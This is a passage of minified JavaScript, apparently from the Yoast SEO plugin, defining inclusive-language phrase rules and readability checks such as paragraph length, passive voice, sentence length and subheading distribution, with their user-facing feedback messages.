homelessness</i>",score:i.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful,rule:(e,t)=>(0,a.includesConsecutiveWords)(e,t).filter((0,o.default)(e,t)),ruleDescription:l.nonInclusiveWhenStandalone},{identifier:"theUndocumented",nonInclusivePhrases:["the undocumented"],inclusiveAlternatives:"<i>people who are undocumented, undocumented people, people without papers</i>",score:i.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful,rule:(e,t)=>(0,a.includesConsecutiveWords)(e,t).filter((0,o.default)(e,t)),ruleDescription:l.nonInclusiveWhenStandalone},{identifier:"thePoor",nonInclusivePhrases:["the poor"],inclusiveAlternatives:"<i>people whose income is below the poverty threshold, people with low-income</i>",score:i.SCORES.NON_INCLUSIVE,feedbackFormat:n.redHarmful,rule:(e,t)=>(0,a.includesConsecutiveWords)(e,t).filter((0,o.default)(e,t)),ruleDescription:l.nonInclusiveWhenStandalone}];u.forEach((e=>{e.category="ses",e.learnMoreUrl="https://yoa.st/inclusive-language-ses"})),t.default=u},32296:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(28045),n=r(78261);const i=[{identifier:"homosexuals",nonInclusivePhrases:["homosexuals"],inclusiveAlternatives:"<i>gay people, queer people, lesbians, gay men, people in same-gender relationships</i>",score:s.SCORES.POTENTIALLY_NON_INCLUSIVE,feedbackFormat:[n.orangeUnlessSomeoneWants,"Be as specific possible and use people's preferred labels if they are known."].join(" ")}];i.forEach((e=>{e.category="sexualOrientation",e.learnMoreUrl="https://yoa.st/inclusive-language-orientation"})),t.default=i},29700:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.isPreceded=function(e){return"Targeted when preceded by '"+e.join("', '")+"'."},t.nonInclusiveWhenStandalone=void 0,t.notFollowed=function(e){return"Targeted unless followed by '"+e.join("', '")+"'."},t.notPreceded=function(e){return"Targeted unless preceded by '"+e.join("', '")+"'."},t.notPrecededAndNotFollowed=function(e,t){return"Targeted unless preceded by '"+e.join("', '")+"' and/or followed by '"+t.join("', '")+"'."},t.nonInclusiveWhenStandalone="Targeted when followed by a participle, a function word (other than a noun), or punctuation."},88626:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.includesConsecutiveWords=function(e,t){const r=[];return e.forEach(((n,i)=>{(0,s.includesWordsAtPosition)(t,i,e)&&r.push(i)})),r};var s=r(40880)},40880:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.includesWordsAtPosition=function(e,t,r){return e.every(((e,s)=>r[t+s]===e))}},5719:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.isFollowedAndPrecededByException=i,t.isNotFollowedAndPrecededByException=function(e,t,r,s){return n=>!i(e,t,r,s)(n)};var s=r(64948),n=r(17864);function i(e,t,r,i){return a=>(0,s.isFollowedByException)(e,t,i)(a)&&(0,n.isPrecededByException)(e,r)(a)}},64948:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.isFollowedByException=i,t.isNotFollowedByException=function(e,t,r){return s=>!i(e,t,r)(s)};var s=r(58677),n=r(40880);function i(e,t,r){const i=r.map((e=>(0,s.getWords)(e,"\\s",!1)));return r=>i.some((s=>{const i=r+t.length;return i>=0&&(0,n.includesWordsAtPosition)(s,i,e)}))}},88883:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.isFollowedByParticiple=function(e,t){return r=>{const s=r+t.length;return s<e.length&&o(e[s])}},t.isParticiple=o;var s,n=r(92819),i=(s=r(89597))&&s.__esModule?s:{default:s},a=r(74016);function o(e){const t=e.match(a.regularParticiplesRegex);return!(0,n.isNull)(t)&&t[0]===e||(0,n.includes)(i.default,e)}},17864:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.isNotPrecededByException=function(e,t){return r=>!i(e,t)(r)},t.isPrecededByException=i;var s=r(58677),n=r(40880);function i(e,t){const r=t.map((e=>(0,s.getWords)(e,"\\s",!1)));return t=>r.some((r=>{const s=t-r.length;return s>=0&&(0,n.includesWordsAtPosition)(r,s,e)}))}},77965:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){return r=>(0,s.isFollowedByException)(e,t,i.nonNouns)(r)||(0,n.isFollowedByParticiple)(e,t)(r)||(0,s.isFollowedByException)(e,t,l)(r)};var s=r(64948),n=r(88883),i=r(89456),a=r(8737),o=r(58677);const l=a.punctuationList.filter((e=>(0,o.getWords)(e,"\\s",!1).length>0))},43947:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.seo=t.readability=t.inclusiveLanguage=void 0;var s=F(r(40774)),n=F(r(25636)),i=F(r(38196)),a=F(r(86089)),o=F(r(7261)),l=F(r(35780)),u=F(r(62318)),c=F(r(57749)),d=F(r(50791)),h=F(r(97758)),f=F(r(3139)),p=F(r(92922)),g=F(r(90575)),m=F(r(99815)),_=function(e,t){if(e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var r=x(t);if(r&&r.has(e))return r.get(e);var s={__proto__:null},n=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&{}.hasOwnProperty.call(e,i)){var a=n?Object.getOwnPropertyDescriptor(e,i):null;a&&(a.get||a.set)?Object.defineProperty(s,i,a):s[i]=e[i]}return s.default=e,r&&r.set(e,s),s}(r(70966)),T=F(r(34847)),E=F(r(70476)),A=F(r(27661)),y=F(r(46430)),v=F(r(47502)),b=F(r(17915)),O=F(r(69360)),S=F(r(57480)),I=F(r(46787)),C=r(80009),N=F(r(8980)),D=F(r(38754)),w=F(r(58850)),P=F(r(77428)),R=F(r(40826)),k=F(r(76369)),L=F(r(11842)),M=F(r(96682));function x(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,r=new WeakMap;return(x=function(e){return e?r:t})(e)}function F(e){return e&&e.__esModule?e:{default:e}}t.readability={ListAssessment:h.default,ParagraphTooLongAssessment:s.default,PassiveVoiceAssessment:n.default,SentenceBeginningsAssessment:i.default,SentenceLengthInTextAssessment:a.default,SubheadingDistributionTooLongAssessment:o.default,TextAlignmentAssessment:c.default,TextPresenceAssessment:l.default,TransitionWordsAssessment:u.default,WordComplexityAssessment:d.default},t.seo={FunctionWordsInKeyphraseAssessment:f.default,ImageAltTagsAssessment:R.default,ImageCountAssessment:D.default,ImageKeyphraseAssessment:N.default,InternalLinksAssessment:p.default,IntroductionKeywordAssessment:g.default,KeyphraseDistributionAssessment:w.default,KeyphraseInSEOTitleAssessment:I.default,KeyphraseLengthAssessment:m.default,KeyphraseDensityAssessment:_.default,KeywordDensityAssessment:_.KeywordDensityAssessment,MetaDescriptionKeywordAssessment:T.default,MetaDescriptionLengthAssessment:E.default,OutboundLinksAssessment:A.default,PageTitleWidthAssessment:y.default,ProductIdentifiersAssessment:k.default,ProductSKUAssessment:L.default,SingleH1Assessment:v.default,SubheadingsKeywordAssessment:b.default,TextCompetingLinksAssessment:O.default,TextLengthAssessment:S.default,TextTitleAssessment:P.default,SlugKeywordAssessment:C.SlugKeywordAssessment,UrlKeywordAssessment:C.UrlKeywordAssessment},t.inclusiveLanguage={InclusiveLanguageAssessment:M.default}},97758:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(92819),n=o(r(9017)),i=o(r(73054)),a=r(49061);function o(e){return e&&e.__esModule?e:{default:e}}class l extends n.default{constructor(e={}){super(),this._config=(0,s.merge)({urlTitle:"https://yoa.st/shopify38",urlCallToAction:"https://yoa.st/shopify39",scores:{bad:3,good:9},callbacks:{}},e),this.identifier="listsPresence"}findList(e){return e.getTree().findAll((e=>"ul"===e.name||"ol"===e.name)).some((e=>e.childNodes.some((e=>"li"===e.name&&e.childNodes.some((e=>"p"===e.name))))))}getResult(e){this.textContainsList=this.findList(e);const t=this.calculateResult(),r=new i.default;return r.setScore(t.score),r.setText(t.resultText),r}isApplicable(e){return this.hasEnoughContentForAssessment(e)}calculateResult(){const{good:e,bad:t}=this.getFeedbackStrings();return this.textContainsList?{score:this._config.scores.good,resultText:e}:{score:this._config.scores.bad,resultText:t}}getFeedbackStrings(){const e=(0,a.createAnchorOpeningTag)(this._config.urlTitle),t=(0,a.createAnchorOpeningTag)(this._config.urlCallToAction);if(!this._config.callbacks.getResultTexts){const r={good:"%1$sLists%3$s: There is at least one list on this page. Great!",bad:"%1$sLists%3$s: No lists appear on this page. %2$sAdd at least one ordered or unordered list%3$s!"};return(0,s.mapValues)(r,(r=>this.formatResultText(r,e,t)))}return this._config.callbacks.getResultTexts({urlTitleAnchorOpeningTag:e,urlActionAnchorOpeningTag:t})}}t.default=l},40774:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(92819),i=r(62240),a=h(r(15010)),o=r(49061),l=r(76663),u=h(r(73054)),c=h(r(41054)),d=h(r(9017));function h(e){return e&&e.__esModule?e:{default:e}}class f extends d.default{constructor(e={},t=!1){super();const r={urlTitle:(0,o.createAnchorOpeningTag)("https://yoa.st/35d"),urlCallToAction:(0,o.createAnchorOpeningTag)("https://yoa.st/35e"),countCharacters:!1,parameters:{recommendedLength:150,maximumRecommendedLength:200}};this.identifier="textParagraphTooLong",this._config=(0,n.merge)(r,e),this._isProduct=t}getTooLongParagraphs(e,t){const r=t.parameters.recommendedLength;return(0,n.filter)(e,(function(e){return e.countLength>r}))}getConfig(e){const t=this._config,r=e.getConfig("paragraphLength");return r&&(t.parameters=this._isProduct?r.productPageParams:r.defaultPageParams),t}calculateResult(e,t,r){let n;if(0===e.length)return{};const i=e[0].countLength;if(i<=r.parameters.recommendedLength&&(n=9),(0,l.inRangeEndInclusive)(i,r.parameters.recommendedLength,r.parameters.maximumRecommendedLength)&&(n=6),i>r.parameters.maximumRecommendedLength&&(n=3),n>=7)return{score:n,hasMarks:!1,text:(0,s.sprintf)(/* translators:  %1$s expands to a link on yoast.com, %2$s expands to the anchor end tag */
(0,s.__)("%1$sParagraph length%2$s: None of the paragraphs are too long. Great job!","wordpress-seo"),r.urlTitle,"</a>")};const a=(0,s.sprintf)(
/* translators: %1$s and %5$s expand to links on yoast.com, %2$s expands to the anchor end tag,
    %3$d expands to the number of paragraphs over the recommended limit, %4$d expands to the limit. */
(0,s._n)("%1$sParagraph length%2$s: %3$d of the paragraphs contains more than the recommended maximum number of words (%4$d). %5$sShorten your paragraphs%2$s!","%1$sParagraph length%2$s: %3$d of the paragraphs contain more than the recommended maximum number of words (%4$d). %5$sShorten your paragraphs%2$s!",t.length,"wordpress-seo"),r.urlTitle,"</a>",t.length,r.parameters.recommendedLength,r.urlCallToAction),o=(0,s.sprintf)(
/* translators: %1$s and %5$s expand to links on yoast.com, %2$s expands to the anchor end tag,
    %3$d expands to the number of paragraphs over the recommended limit, %4$d expands to the limit. */
(0,s._n)("%1$sParagraph length%2$s: %3$d of the paragraphs contains more than the recommended maximum number of characters (%4$d). %5$sShorten your paragraphs%2$s!","%1$sParagraph length%2$s: %3$d of the paragraphs contain more than the recommended maximum number of characters (%4$d). %5$sShorten your paragraphs%2$s!",t.length,"wordpress-seo"),r.urlTitle,"</a>",t.length,r.parameters.recommendedLength,r.urlCallToAction);return{score:n,hasMarks:!0,text:r.countCharacters?o:a}}sortParagraphs(e){return e.sort((function(e,t){return t.countLength-e.countLength}))}getMarks(e,t){const r=t.getResearch("getParagraphLength"),s=this.getTooLongParagraphs(r,this.getConfig(t));return(0,n.map)(s,(function(e){const t=(0,i.stripBlockTagsAtStartEnd)(e.text),r=(0,a.default)(t);return new c.default({original:t,marked:r})}))}getResult(e,t){let r=t.getResearch("getParagraphLength");this._config.countCharacters=!!t.getConfig("countCharacters"),r=this.sortParagraphs(r);const s=this.getConfig(t),n=this.getTooLongParagraphs(r,s),i=this.calculateResult(r,n,s),a=new u.default;return a.setScore(i.score),a.setText(i.text),a.setHasMarks(i.hasMarks),a}isApplicable(e){return this.hasEnoughContentForAssessment(e)}}t.default=f},25636:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(92819),i=f(r(17179)),a=r(76663),o=f(r(15010)),l=r(33140),u=r(62240),c=f(r(73054)),d=f(r(41054)),h=f(r(9017));function f(e){return e&&e.__esModule?e:{default:e}}class p extends h.default{constructor(e={}){super();const t={urlTitle:(0,l.createAnchorOpeningTag)("https://yoa.st/34t"),urlCallToAction:(0,l.createAnchorOpeningTag)("https://yoa.st/34u")};this.identifier="passiveVoice",this._config=(0,n.merge)(t,e)}calculatePassiveVoiceResult(e){let t,r=0;0!==e.total&&(r=(0,i.default)(e.passives.length/e.total*100));const n=r>0;return r<=10&&(t=9),(0,a.inRangeEndInclusive)(r,10,15)&&(t=6),r>15&&(t=3),t>=7?{score:t,hasMarks:n,text:(0,s.sprintf)(/* translators: %1$s expands to a link on yoast.com, %2$s expands to the anchor end tag. */
(0,s.__)("%1$sPassive voice%2$s: You're using enough active voice. That's great!","wordpress-seo"),this._config.urlTitle,"</a>")}:{score:t,hasMarks:n,text:(0,s.sprintf)(
/* translators: %1$s and %5$s expand to a link on yoast.com, %2$s expands to the anchor end tag,
      %3$s expands to the percentage of sentences in passive voice, %4$s expands to the recommended value. */
(0,s.__)("%1$sPassive voice%2$s: %3$s of the sentences contain passive voice, which is more than the recommended maximum of %4$s. %5$sTry to use their active counterparts%2$s.","wordpress-seo"),this._config.urlTitle,"</a>",r+"%","10%",this._config.urlCallToAction)}}getMarks(e,t){const r=t.getResearch("getPassiveVoiceResult");return(0,n.map)(r.passives,(function(e){e=(0,u.stripIncompleteTags)(e);const t=(0,o.default)(e);return new d.default({original:e,marked:t})}))}getResult(e,t){const r=t.getResearch("getPassiveVoiceResult"),s=this.calculatePassiveVoiceResult(r),n=new c.default;return n.setScore(s.score),n.setText(s.text),n.setHasMarks(s.hasMarks),n}isApplicable(e,t){return this.hasEnoughContentForAssessment(e)&&t.hasResearch("getPassiveVoiceResult")}}t.default=p},38196:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(92819),n=r(65736),i=d(r(15010)),a=r(33140),o=r(62240),l=d(r(73054)),u=d(r(41054)),c=d(r(9017));function d(e){return e&&e.__esModule?e:{default:e}}class h extends c.default{constructor(e={}){super();const t={urlTitle:(0,a.createAnchorOpeningTag)("https://yoa.st/35f"),urlCallToAction:(0,a.createAnchorOpeningTag)("https://yoa.st/35g")};this.identifier="sentenceBeginnings",this._config=(0,s.merge)(t,e)}groupSentenceBeginnings(e){const t=(0,s.partition)(e,(function(e){return e.count>2}));if(0===t[0].length)return{total:0};const r=(0,s.sortBy)(t[0],(function(e){return e.count}));return{total:t[0].length,lowestCount:r[0].count}}calculateSentenceBeginningsResult(e){return e.total>0?{score:3,hasMarks:!0,text:(0,n.sprintf)(
/* translators: %1$s and %5$s expand to a link on yoast.com, %2$s expands to the anchor end tag,
        %3$d expands to the number of consecutive sentences starting with the same word,
        %4$d expands to the number of instances where 3 or more consecutive sentences start with the same word. */
(0,n._n)("%1$sConsecutive sentences%2$s: The text contains %3$d consecutive sentences starting with the same word. %5$sTry to mix things up%2$s!","%1$sConsecutive sentences%2$s: The text contains %4$d instances where %3$d or more consecutive sentences start with the same word. %5$sTry to mix things up%2$s!",e.total,"wordpress-seo"),this._config.urlTitle,"</a>",e.lowestCount,e.total,this._config.urlCallToAction)}:{score:9,hasMarks:!1,text:(0,n.sprintf)(/* translators:  %1$s expands to a link on yoast.com, %2$s expands to the anchor end tag */
(0,n.__)("%1$sConsecutive sentences%2$s: There is enough variety in your sentences. That's great!","wordpress-seo"),this._config.urlTitle,"</a>")}}getMarks(e,t){let r=t.getResearch("getSentenceBeginnings");r=(0,s.filter)(r,(function(e){return e.count>2}));const n=(0,s.map)(r,(function(e){return e.sentences}));return(0,s.map)((0,s.flatten)(n),(function(e){e=(0,o.stripIncompleteTags)(e);const t=(0,i.default)(e);return new u.default({original:e,marked:t})}))}getResult(e,t){const r=t.getResearch("getSentenceBeginnings"),s=this.groupSentenceBeginnings(r),n=this.calculateSentenceBeginningsResult(s),i=new l.default;return i.setScore(n.score),i.setText(n.text),i.setHasMarks(n.hasMarks),i}isApplicable(e,t){return this.hasEnoughContentForAssessment(e)&&t.hasResearch("getSentenceBeginnings")}}t.default=h},86089:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(92819),i=p(r(9017)),a=p(r(90327)),o=p(r(17179)),l=r(76663),u=p(r(15010)),c=r(49061),d=r(62240),h=p(r(73054)),f=p(r(41054));function p(e){return e&&e.__esModule?e:{default:e}}class g extends i.default{constructor(e={},t=!1,r=!1){super();const s={recommendedLength:20,slightlyTooMany:25,farTooMany:30,urlTitle:(0,c.createAnchorOpeningTag)("https://yoa.st/34v"),urlCallToAction:(0,c.createAnchorOpeningTag)("https://yoa.st/34w"),countCharacters:!1};this._config=(0,n.merge)(s,e),this._isCornerstone=t,this._isProduct=r,this.identifier="textSentenceLength"}getResult(e,t){const r=t.getResearch("countSentencesFromText");t.getConfig("sentenceLength")&&(this._config=this.getLanguageSpecificConfig(t)),this._config.countCharacters=!!t.getConfig("countCharacters");const s=this.calculatePercentage(r),n=this.calculateScore(s),i=new h.default;return i.setScore(n),i.setText(this.translateScore(n,s)),i.setHasMarks(s>0),i}isApplicable(e){return this.hasEnoughContentForAssessment(e)}getMarks(e,t){const r=t.getResearch("countSentencesFromText");t.getConfig("sentenceLength")&&(this._config=this.getLanguageSpecificConfig(t));const s=this.getTooLongSentences(r);return(0,n.map)(s,(function(e){const t=(0,d.stripIncompleteTags)(e.sentence);return new f.default({original:t,marked:(0,u.default)(t)})}))}getLanguageSpecificConfig(e){const t=this._config,r=e.getConfig("sentenceLength");return r.hasOwnProperty("recommendedLength")&&(t.recommendedLength=r.recommendedLength),!0===this._isCornerstone&&!1===this._isProduct&&r.hasOwnProperty("cornerstonePercentages")?(0,n.merge)(t,r.cornerstonePercentages):!1===this._isCornerstone&&!1===this._isProduct&&r.hasOwnProperty("percentages")?(0,n.merge)(t,r.percentages):t}translateScore(e,t){if(e>=7)return(0,s.sprintf)(/* translators: %1$s expands to a link on yoast.com, %2$s expands to the anchor end tag */
(0,s.__)("%1$sSentence length%2$s: Great!","wordpress-seo"),this._config.urlTitle,"</a>");const r=(0,s.sprintf)(
/* translators: %1$s and %6$s expand to links on yoast.com, %2$s expands to the anchor end tag,
    %3$d expands to percentage of sentences, %4$s expands to the recommended maximum sentence length,
    %5$s expands to the recommended maximum percentage. */
(0,s._n)("%1$sSentence length%2$s: %3$s of the sentences contain more than %4$d word, which is more than the recommended maximum of %5$s. %6$sTry to shorten the sentences%2$s.","%1$sSentence length%2$s: %3$s of the sentences contain more than %4$d words, which is more than the recommended maximum of %5$s. %6$sTry to shorten the sentences%2$s.",this._config.recommendedLength,"wordpress-seo"),this._config.urlTitle,"</a>",t+"%",this._config.recommendedLength,this._config.slightlyTooMany+"%",this._config.urlCallToAction),n=(0,s.sprintf)(
/* translators: %1$s and %6$s expand to links on yoast.com, %2$s expands to the anchor end tag,
    %3$d expands to percentage of sentences, %4$s expands to the recommended maximum sentence length,
    %5$s expands to the recommended maximum percentage. */
(0,s._n)("%1$sSentence length%2$s: %3$s of the sentences contain more than %4$d character, which is more than the recommended maximum of %5$s. %6$sTry to shorten the sentences%2$s.","%1$sSentence length%2$s: %3$s of the sentences contain more than %4$d characters, which is more than the recommended maximum of %5$s. %6$sTry to shorten the sentences%2$s.",this._config.recommendedLength,"wordpress-seo"),this._config.urlTitle,"</a>",t+"%",this._config.recommendedLength,this._config.slightlyTooMany+"%",this._config.urlCallToAction);return this._config.countCharacters?n:r}calculatePercentage(e){let t=0;if(0!==e.length){const r=this.countTooLongSentences(e);t=(0,o.default)(r/e.length*100)}return t}calculateScore(e){let t;return e<=this._config.slightlyTooMany&&(t=9),(0,l.inRangeEndInclusive)(e,this._config.slightlyTooMany,this._config.farTooMany)&&(t=6),e>this._config.farTooMany&&(t=3),t}getTooLongSentences(e){return(0,a.default)(e,this._config.recommendedLength)}countTooLongSentences(e){return this.getTooLongSentences(e).length}}t.default=g},7261:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(92819),i=m(r(15010)),a=m(r(41054)),o=m(r(9017)),l=r(76663),u=r(33140),c=r(84285),d=m(r(1105)),h=m(r(73054)),f=r(62240),p=m(r(96908)),g=r(29866);function m(e){return e&&e.__esModule?e:{default:e}}class _ extends o.default{constructor(e={}){super();const t={parameters:{recommendedMaximumLength:300,slightlyTooMany:300,farTooMany:350},countTextIn:(0,s.__)("words","wordpress-seo"),urlTitle:(0,u.createAnchorOpeningTag)("https://yoa.st/34x"),urlCallToAction:(0,u.createAnchorOpeningTag)("https://yoa.st/34y"),scores:{goodShortTextNoSubheadings:9,goodSubheadings:9,okSubheadings:6,badSubheadings:3,badLongTextNoSubheadings:2},applicableIfTextLongerThan:300,shouldNotAppearInShortText:!1,cornerstoneContent:!1};this.identifier="subheadingsTooLong",this._config=(0,n.merge)(t,e)}checkTextBeforeFirstSubheadingLength(e){let t={isLong:!1,isVeryLong:!1};if(e.length>0&&""===e[0].subheading&&""!==e[0].text){const r=e[0].countLength;t={isLong:(0,l.inRangeEndInclusive)(r,this._config.parameters.slightlyTooMany,this._config.parameters.farTooMany),isVeryLong:r>this._config.parameters.farTooMany}}return t}getTextLength(e,t){const r=t.getHelper("customCountLength");let s=e.getText();return s=(0,p.default)(s),s=(0,g.filterShortcodesFromHTML)(s,e._attributes&&e._attributes.shortcodes),r?r(s):(0,d.default)(s).length}getResult(e,t){this._subheadingTextsLength=t.getResearch("getSubheadingTextLengths"),t.getConfig("subheadingsTooLong")&&(this._config=this.getLanguageSpecificConfig(t)),t.getConfig("countCharacters")&&(this._config.countTextIn=(0,s.__)("characters","wordpress-seo"));const r=this.checkTextBeforeFirstSubheadingLength(this._subheadingTextsLength);this._subheadingTextsLength=this._subheadingTextsLength.sort((function(e,t){return t.countLength-e.countLength}));const n=new h.default;n.setIdentifier(this.identifier),this._hasSubheadings=this.hasSubheadings(e),this._tooLongTextsNumber=this.getTooLongSubheadingTexts().length,this._textLength=this.getTextLength(e,t);const i=this.calculateResult(r);return i.resultTextPlural=i.resultTextPlural||"",n.setScore(i.score),n.setText(i.resultText),n.setHasMarks(i.hasMarks),n}getLanguageSpecificConfig(e){const t=this._config,r=e.getConfig("subheadingsTooLong");return!0===t.cornerstoneContent&&r.hasOwnProperty("cornerstoneParameters")?(0,n.merge)(t,r.cornerstoneParameters):(0,n.merge)(t,r.defaultParameters)}isApplicable(e,t){return this._config.shouldNotAppearInShortText?(t.getConfig("subheadingsTooLong")&&(this._config=this.getLanguageSpecificConfig(t)),this.getTextLength(e,t)>this._config.applicableIfTextLongerThan):this.hasEnoughContentForAssessment(e)}hasSubheadings(e){return(0,c.getSubheadings)(e.getText()).length>0}getMarks(){const e=(0,n.map)(this.getTooLongSubheadingTexts(),(function({subheading:e}){e=(0,f.stripFullTags)(e);const t=(0,i.default)(e);return new a.default({original:e,marked:t,fieldsToMark:["heading"]})}));return(0,n.filter)(e,(e=>""!==e.getOriginal()))}getTooLongSubheadingTexts(){return(0,n.filter)(this._subheadingTextsLength,function(e){return e.countLength>this._config.parameters.recommendedMaximumLength}.bind(this))}calculateResult(e){if(this._textLength>this._config.applicableIfTextLongerThan){if(this._hasSubheadings){if(e.isLong&&this._tooLongTextsNumber<2)return{score:this._config.scores.okSubheadings,hasMarks:!1,resultText:(0,s.sprintf)(
/* translators: %1$s and %3$s expand to a link to https://yoa.st/headings, %2$s expands to the link closing tag.
             * %4$s expands to the recommended number of words following a subheading,
             * %5$s expands to the word 'words' or 'characters'.
             */
(0,s.__)("%1$sSubheading distribution%2$s: The beginning of your text is longer than %4$s %5$s and is not separated by any subheadings. %3$sAdd subheadings to improve readability.%2$s","wordpress-seo"),this._config.urlTitle,"</a>",this._config.urlCallToAction,this._config.parameters.recommendedMaximumLength,this._config.countTextIn)};if(e.isVeryLong&&this._tooLongTextsNumber<2)return{score:this._config.scores.badSubheadings,hasMarks:!1,resultText:(0,s.sprintf)(
/* translators: %1$s and %3$s expand to a link to https://yoa.st/headings, %2$s expands to the link closing tag.
             * %4$s expands to the recommended number of words following a subheading,
             * %5$s expands to the word 'words' or 'characters'.
             */
(0,s.__)("%1$sSubheading distribution%2$s: The beginning of your text is longer than %4$s %5$s and is not separated by any subheadings. %3$sAdd subheadings to improve readability.%2$s","wordpress-seo"),this._config.urlTitle,"</a>",this._config.urlCallToAction,this._config.parameters.recommendedMaximumLength,this._config.countTextIn)};const t=this._subheadingTextsLength[0].countLength;return t<=this._config.parameters.slightlyTooMany?{score:this._config.scores.goodSubheadings,hasMarks:!1,resultText:(0,s.sprintf)(
// translators: %1$s expands to a link to https://yoa.st/headings, %2$s expands to the link closing tag.
(0,s.__)("%1$sSubheading distribution%2$s: Great job!","wordpress-seo"),this._config.urlTitle,"</a>")}:(0,l.inRangeEndInclusive)(t,this._config.parameters.slightlyTooMany,this._config.parameters.farTooMany)?{score:this._config.scores.okSubheadings,hasMarks:!0,resultText:(0,s.sprintf)(
/* translators: %1$s and %5$s expand to a link on yoast.com, %3$d to the number of text sections
            not separated by subheadings, %4$d expands to the recommended number of words or characters following a
            subheading, %6$s expands to the word 'words' or 'characters', %2$s expands to the link closing tag. */
(0,s._n)("%1$sSubheading distribution%2$s: %3$d section of your text is longer than %4$d %6$s and is not separated by any subheadings. %5$sAdd subheadings to improve readability%2$s.","%1$sSubheading distribution%2$s: %3$d sections of your text are longer than %4$d %6$s and are not separated by any subheadings. %5$sAdd subheadings to improve readability%2$s.",this._tooLongTextsNumber,"wordpress-seo"),this._config.urlTitle,"</a>",this._tooLongTextsNumber,this._config.parameters.recommendedMaximumLength,this._config.urlCallToAction,this._config.countTextIn)}:{score:this._config.scores.badSubheadings,hasMarks:!0,resultText:(0,s.sprintf)(
/* translators: %1$s and %5$s expand to a link on yoast.com, %3$d to the number of text sections
          not separated by subheadings, %4$d expands to the recommended number of words or characters following a
          subheading, %6$s expands to the word 'words' or 'characters', %2$s expands to the link closing tag. */
(0,s._n)("%1$sSubheading distribution%2$s: %3$d section of your text is longer than %4$d %6$s and is not separated by any subheadings. %5$sAdd subheadings to improve readability%2$s.","%1$sSubheading distribution%2$s: %3$d sections of your text are longer than %4$d %6$s and are not separated by any subheadings. %5$sAdd subheadings to improve readability%2$s.",this._tooLongTextsNumber,"wordpress-seo"),this._config.urlTitle,"</a>",this._tooLongTextsNumber,this._config.parameters.recommendedMaximumLength,this._config.urlCallToAction,this._config.countTextIn)}}return{score:this._config.scores.badLongTextNoSubheadings,hasMarks:!1,resultText:(0,s.sprintf)(/* translators: %1$s and %3$s expand to a link to https://yoa.st/headings, %2$s expands to the link closing tag. */
(0,s.__)("%1$sSubheading distribution%2$s: You are not using any subheadings, although your text is rather long. %3$sTry and add some subheadings%2$s.","wordpress-seo"),this._config.urlTitle,"</a>",this._config.urlCallToAction)}}return this._hasSubheadings?{score:this._config.scores.goodSubheadings,hasMarks:!1,resultText:(0,s.sprintf)(/* translators: %1$s expands to a link to https://yoa.st/headings, %2$s expands to the link closing tag. */
(0,s.__)("%1$sSubheading distribution%2$s: Great job!","wordpress-seo"),this._config.urlTitle,"</a>")}:{score:this._config.scores.goodShortTextNoSubheadings,hasMarks:!1,resultText:(0,s.sprintf)(/* translators: %1$s expands to a link to https://yoa.st/headings, %2$s expands to the link closing tag. */
(0,s.__)("%1$sSubheading distribution%2$s: You are not using any subheadings, but your text is short enough and probably doesn't need them.","wordpress-seo"),this._config.urlTitle,"</a>")}}}t.default=_},57749:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(92819),n=l(r(9017)),i=l(r(41054)),a=l(r(73054)),o=r(49061);function l(e){return e&&e.__esModule?e:{default:e}}class u extends n.default{constructor(e={}){super(),this._config=(0,s.merge)({urlTitle:"https://yoa.st/assessment-alignment",urlCallToAction:"https://yoa.st/assessment-alignment-cta",scores:{bad:2},callbacks:{}},e),this.identifier="textAlignment"}getResult(e,t){const r=t.getResearch("getLongCenterAlignedTexts");this.numberOfLongCenterAlignedTexts=r.length;const s=new a.default;if(0===this.numberOfLongCenterAlignedTexts)return s;const n=this.calculateResult(e,this.numberOfLongCenterAlignedTexts);return s.setScore(n.score),s.setText(n.resultText),s.setHasMarks(!0),s}getMarks(e,t){return t.getResearch("getLongCenterAlignedTexts").map((e=>new i.default({position:{clientId:e.clientId||"",startOffset:e.sourceCodeLocation.startOffset,endOffset:e.sourceCodeLocation.endOffset,startOffsetBlock:0,endOffsetBlock:e.sourceCodeLocation.endOffset-e.sourceCodeLocation.startOffset}})))}isApplicable(e,t){return this.hasEnoughContentForAssessment(e)&&t.hasResearch("getLongCenterAlignedTexts")}calculateResult(e,t){const{rightToLeft:r,leftToRight:s}=this.getFeedbackStrings();if(t>0)return"RTL"===e.getWritingDirection()?{score:this._config.scores.bad,resultText:r}:{score:this._config.scores.bad,resultText:s}}getFeedbackStrings(){const e=(0,o.createAnchorOpeningTag)(this._config.urlTitle),t=(0,o.createAnchorOpeningTag)(this._config.urlCallToAction);if(!this._config.callbacks.getResultTexts){const r={rightToLeft:"%1$sAlignment%3$s: There are long sections of center-aligned text. %2$sWe recommend making them right-aligned%3$s.",leftToRight:"%1$sAlignment%3$s: There are long sections of center-aligned text. %2$sWe recommend making them left-aligned%3$s."};return 